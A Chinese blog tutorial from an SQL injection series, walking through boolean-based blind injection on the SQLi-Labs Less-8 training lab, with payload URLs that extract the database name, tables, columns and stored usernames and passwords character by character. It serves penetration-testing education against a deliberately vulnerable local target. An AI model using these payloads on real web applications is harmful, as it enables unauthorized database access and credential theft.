SQL注入——基于布尔的盲注(八)

本章目的

普及布尔盲注技术的运用场景及条件,熟悉length()、substr()、ascii()等函数的用法,掌握基于布尔的盲注基本流程。PS:面试回答主要为对错论

基本概念

盲注
在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些
方法进行判断或者尝试,这个过程称之为盲注。
>在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响
应时间不同)。一般情况下,盲注可分为两类
基于布尔的盲注(Booleanbased)
基于时间的盲注(Timebased)

基于布尔的育注
>某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(TrueorFalse)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
基于时间的盲注
>又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据

盲注常用函数

if()
功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1为true则返回expr2,expr1为false则返回expr3。
注:仅MySQL支持if(expr1,expr2,expr3)。

left()
功能:截取具有指定长度的字符串的左边部分。
语法格式:left(strlength),如果str或length参数为NULL,则返回NULL值。
参数说明
str:要提取子串的字符串。
length:正整数,指定将从左边返回的字符数。length为0或为负,则LEFT返回一个空字符串
length大于str字符串的长度,则leftO返回整个str字符串。

length()
功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()
功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)substring(str,pos,len)
参数说明
str:要提取子串的字符串。
pos:提取子串的开始位置
len:指定要提取的子串的长度

ascii()、ord()
功能:返回字符串最左边字符的ASCII码值
语法格式:ascii(str),ord(str)

cast()、convert()
功能:获取一个类型的值,并产生另一个类型的值。
>语法格式:cast(value as type),convert(value,type)

可转换的值类型
二进制,同带binary前缀的效果:BINARY
字符型,可带参数:CHARO
日期:DATE
时间:TIME
日期时间型:DATETIME
浮点数:DECIMAL
整数:SIGNED
无符号整数:UNSIGNED

延时函数sleep()
功能:让语句延退执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延退执行N秒。

延时函数benchmark()
功能:让某语句执行一定的次数,执行成功后返回0。
语法格式:benchmark(coun,texpr),即让expr执行count次
注:仅MySQL支持该函数。

实验环境
攻击机:Pentest-Atk
(1)操作系统:Windows10
(2)安装的应用软件:sqlmapBurpsuiteFireFox浏览器及其插件Hackbar 、 等

(3)登录账号密码:操作系统帐号Administrator,密码?》《6
靶机:A-SQLi-Labs
(1)操作系统:本机(建议用虚拟机)不过我太懒了[]~( ̄▽ ̄)~*
(2)安装的应用软件:Apache、MySQL(MariaDB)、PHP:DVWA、SQLi-Labs、
Webug3.0漏洞网站环境
(3)登录账号密码:操作系统帐号root,密码0145632

实验原理

(1)关于布尔盲注
某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。
(2)一些功能函数的说明
length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定
长度(len)的子串。
asci(str):返回字符串(str)最左边字符的ASCII码。

实验步骤

本实验的目标是:以SQLi-Labs网站的Less-8为入口,利用基于布尔的盲注方
式获取SQLi-Labs网站的登录用户名和密码。

1.访间SQLi-Labs网站
在攻击机Pentest-Atk打开FireFox浏览器,并访问靶机A-SQLi-Labs上的
SQLi-Labs网站Less-18。访问的URL为:

http://[靶机IP]/sqli-labs/less-18/

(行吧,复制粘贴好像也不需要注意什么大小写)

说明:本实验环境中FireFox浏览器已预安装Hackbar插件,在FireFox界面
按下键盘上的F9键启用或停用(本实验环境中默认为启用状态)。建议在注入
过程中用Hackbar插件来调整payload参数!
没有的点我参考     浏览器加载插件

登录后,根据网页提示,给定一个?id=1的参数,即:

http://[靶机IP]/sqli-labs/less-18/?id=1

此时页面显示信息为Youare in.,显示状态为True

PS:右上角是我的翻译,有时候你们发现和我不太一样不用疑惑

如果给定一个zid=-1的参数,即:

​http://[靶机IP]/sqli-labs/less-18/?id=-1

此时页面显示信息为空,显示状态为False。

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有两种:True或False。由此可以判断,这是一种典型的布尔盲注场景。

2.寻找注入点
分别使用以下3条payload寻找注入点及判断注入点的类型:

​http://[靶机IP]/sqli-labs/less-18/?id=1'

运行后页面显示为False!

​http://[靶机IP]/sqli-labs/less-18/?id=1'1

 运行后页面显示为True!

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and '1'='2

运行后页面显示为False!

由上述结果可以判断,网站存在字符型注入点。
3.盲猜网站当前所在数据库的库名长度
假设当前所在数据库的库名长度为N,尝试使用判断语句
length(database())=M,不断变化M的值去猜测,如果M不等于N,页面应该
显示为False:如果M等于N,页面应该显示为True。
例如执行如下payload

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=7--+

显示结果为False,说明网站当前所在数据库的库名长度不是7个字符!

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8--+

显示结果为True,说明网站当前所在数据库的库名长度为8个字符!

4.盲猜网站当前所在数据库的库名字符串
本步骤通过逐个字母盲猜的方式进行。
假设库名字符串的第1个字母为a,那么条件判断语句substr(库名字符串,1,1)='a'以及asci(substr(库名字符串,1,1))=97返回的结果均应为True(小写字母a的ASCI码为97)假设库名字符串的第2个字母为b,那么条件判断语句substr(库名字符串,2,1))='b'以及asci(substr(库名字符串,2,1)=98返回的结果均应为True(小写字母b的ASCII码为98)
以此类推。
猜测库名的第1个字母:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),1,1)="s"--+

或是

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

猜测库名的第2个字母:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),2,1)='e'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

库名的第2个字母为e。

 以此类推,最终得到的字符串结果为 security

5.盲猜数据库 security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+

或:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

第1张表的表名的第1个字符为e

 猜测第1张表的表名的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m'--+

或者

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+

 第1张表的表名的第2个字符为m,以此类推,得到 security库中的第1张表的名字为 emails

(2)猜测第2张表的表名

猜测第2张表的表名的第1个字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+

or

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+

第2张表的表名的第1个字符为r

 猜测第2张表的表名的第2个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e'--+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+

第2张表的表名的第2个字符为e。

以此类推,得到security库中的第2张表的名字为referers。
依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息

6.盲猜 users表的全部字段名

(1)猜测第1个字段名

猜测第1个字段名的第1个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+


第1个字段名的第1个字符为i

猜测第1个字段名的第2个字符为d

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),2,1)= 'd' --+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),2,1))= 100--+

 第1个字段名的第2个字符为d

 以此类推,得到 users表中的第1个字段名为id

依据上述方法,通过不断变换limit和 substr()函数中的参数,可以最终得到 users表中所有字段名:id、 username和 password

7.盲猜 users表 username和 password字段的全部值

(1)猜测第1组数据

猜测第1组数据的第1个字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D'--+

or

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+

 第1组数据的第1个字符为D。

猜测第1组数据的第2个字符;

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117--+

 第1组数据的第2个字符为u。

以此类推,得到第1组数据为Dump.Dump。
注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=','--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44--+

 (2)猜测第2组数据
猜测第2组数据的第1个字符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65--+

第2组数据的第1个字符为A。

 猜测第2组数据的第2个字符:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n'--+

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  and ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110--+

第2组数据的第2个字符为n。

 ........

以此类推,得到第2组数据为"Angelina,l-kill-you"
依据上述方法,通过不断变换limit()和substr()函数中的参数,可以最终得到users
表中username和password字段的全部值。

SQL注入 ——sql数据库操作基础(一)_Gjqhs的博客-CSDN博客

SOL注入——HTTP头部注入(六)_Gjqhs的博客-CSDN博客

SQL注入——基于报错的注入(五)_Gjqhs的博客-CSDN博客

...

更多包括而不限于SQL注入的文章,关注我全部带走吧( •̀ ω •́ )✧

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值